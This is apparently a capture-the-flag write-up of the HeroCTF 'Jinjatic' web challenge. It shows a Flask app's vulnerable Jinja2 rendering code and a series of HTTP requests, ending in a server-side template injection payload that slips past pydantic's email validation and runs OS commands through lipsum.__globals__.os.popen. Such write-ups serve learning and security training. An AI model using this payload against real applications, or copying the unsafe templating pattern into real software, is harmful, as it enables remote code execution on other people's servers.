- Published on
HeroCTF - Jinjatic - Web
- Authors
- Name
- Asif Masood
- @A51F221B
Description
A platform that allows users to render welcome email's template for a given customer, sounds great no ?
Solution
The provided code shows us that the app is using jinja 2 templating engine in flask for email template rendering. This can be easily tied to SSTI vulnerability.
class EmailModel(BaseModel):
email: EmailStr
@app.route('/')
def home():
return render_template('home.html')
@app.route('/mail')
def mail():
return render_template('mail.html')
@app.route('/render', methods=['POST'])
def render_email():
email = request.form.get('email')
try:
email_obj = EmailModel(email=email)
return Template(email_template%(email)).render()
except ValidationError as e:
return render_template('mail.html', error="Invalid email format.")
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80)
We test the basic SSTI payload to confirm the vulnerability.
POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://dyn01.heroctf.fr:10019
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i
email={{7*7}}@gmail.com
The result is returning 49
which confirm the SSTI issue
<body>
<div class="container mt-5">
<div class="alert alert-success text-center">
<h1>Welcome on the platform !</h1>
<p>Your email to connect is: <strong>49@gmail.com</strong></p>
</div>
<a href="/mail" class="btn btn-primary">Generate another welcome email</a>
</div>
Now when we try different payloads we can see that due to pydantic
email filtering we cannot try some symbols such as () ""[]
as these don't fall in the category of valid email RFCs.
But in pydantic
following email format will be valid.
POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://dyn01.heroctf.fr:10019
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i
email="test" <test@gmail.com>
So we can use the following payload to read the flag
file.
"Worty test+{{lipsum.__globals__.os.popen('/getflag').read()}}@heroctf.fr" <worty@heroctf.fr>
POST /render HTTP/1.1
Host: dyn01.heroctf.fr:10019
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://dyn01.heroctf.fr:10019
Connection: keep-alive
Referer: http://dyn01.heroctf.fr:10019/mail
Upgrade-Insecure-Requests: 1
Priority: u=0, i
email="Worty test+{{lipsum.__globals__.os.popen('/getflag').read()}}@heroctf.fr" <worty@heroctf.fr>
In response we get the flag.